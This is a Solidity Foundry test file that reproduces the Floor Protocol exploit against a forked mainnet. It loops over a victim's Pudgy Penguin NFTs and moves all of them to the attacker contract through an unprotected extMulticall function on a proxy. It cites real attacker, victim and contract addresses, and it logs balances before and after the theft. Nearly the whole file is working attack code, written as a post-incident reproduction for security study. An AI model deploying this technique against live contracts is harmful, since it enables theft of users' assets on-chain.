src/test/2023-12/FloorProtocol_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~1,6M
8// Attacker : https://etherscan.io/address/0x4d0d746e0f66bf825418e6b3def1a46ec3c0b847
9// Attack Contract : https://etherscan.io/address/0x7e5433f02f4bf07c4f2a2d341c450e07d7531428
10// Vulnerable Contract : https://etherscan.io/address/0xc538d17a6aacc5271be5f51b891e2e92c8187edd
11// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0xec8f6d8e114caf8425736e0a3d5be2f93bbea6c01a50a7eeb3d61d2634927b40
12// Other attack txs: https://explorer.phalcon.xyz/tx/eth/0xfb9942a119c45adab3980639cd829e57b41449e3b82d610892da4bb921e81d9c
13// https://explorer.phalcon.xyz/tx/eth/0xa329b27fbe0f7b7f92060a9e5370fdf03d60e5c4835f09d7234e5bbecf417ccf
14 
15// @Analysis
16// https://protos.com/floor-protocol-exploited-bored-apes-and-pudgy-penguins-gone/
17// https://twitter.com/0xfoobar/status/1736190355257627064
18// https://defimon.xyz/exploit/mainnet/0x7e5433f02f4bf07c4f2a2d341c450e07d7531428
19 
20interface IPPGToken is IERC721 {
21    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
22}
23 
24interface IERC1967Proxy {
25    struct CallData {
26        address target;
27        bytes callData;
28    }
29 
30    function extMulticall(
31        CallData[] memory calls
32    ) external returns (bytes[] memory);
33}
34 
35contract ContractTest is Test {
36    IPPGToken private constant PPG = IPPGToken(0xBd3531dA5CF5857e7CfAA92426877b022e612cf8);
37    IERC1967Proxy private constant ERC1967Proxy = IERC1967Proxy(0x49AD262C49C7aA708Cc2DF262eD53B64A17Dd5EE);
38    address private constant victim = 0xe5442aE87E0fEf3F7cc43E507adF786c311a0529;
39 
40    function setUp() public {
41        vm.createSelectFork("mainnet", 18_802_287);
42        vm.label(address(PPG), "PPG");
43        vm.label(address(ERC1967Proxy), "ERC1967Proxy");
44        vm.label(victim, "victim");
45    }
46 
47    function testExploit() public {
48        emit log_named_uint("Victim PPG token balance before attack", PPG.balanceOf(victim));
49        emit log_named_uint("Attacker PPG token balance before attack", PPG.balanceOf(address(this)));
50 
51        IERC1967Proxy.CallData[] memory calls = new IERC1967Proxy.CallData[](PPG.balanceOf(victim));
52 
53        for (uint256 i; i < PPG.balanceOf(victim); ++i) {
54            uint256 id = PPG.tokenOfOwnerByIndex(victim, i);
55            bytes memory data =
56                abi.encodeWithSignature("safeTransferFrom(address,address,uint256)", victim, address(this), id);
57            IERC1967Proxy.CallData memory callData = IERC1967Proxy.CallData({target: address(PPG), callData: data});
58            calls[i] = callData;
59        }
60        // Flawed function
61        ERC1967Proxy.extMulticall(calls);
62 
63        emit log_named_uint("Victim PPG token balance after attack", PPG.balanceOf(victim));
64        emit log_named_uint("Attacker PPG token balance after attack", PPG.balanceOf(address(this)));
65    }
66 
67    function onERC721Received(
68        address operator,
69        address from,
70        uint256 tokenId,
71        bytes calldata data
72    ) external pure returns (bytes4) {
73        return this.onERC721Received.selector;
74    }
75}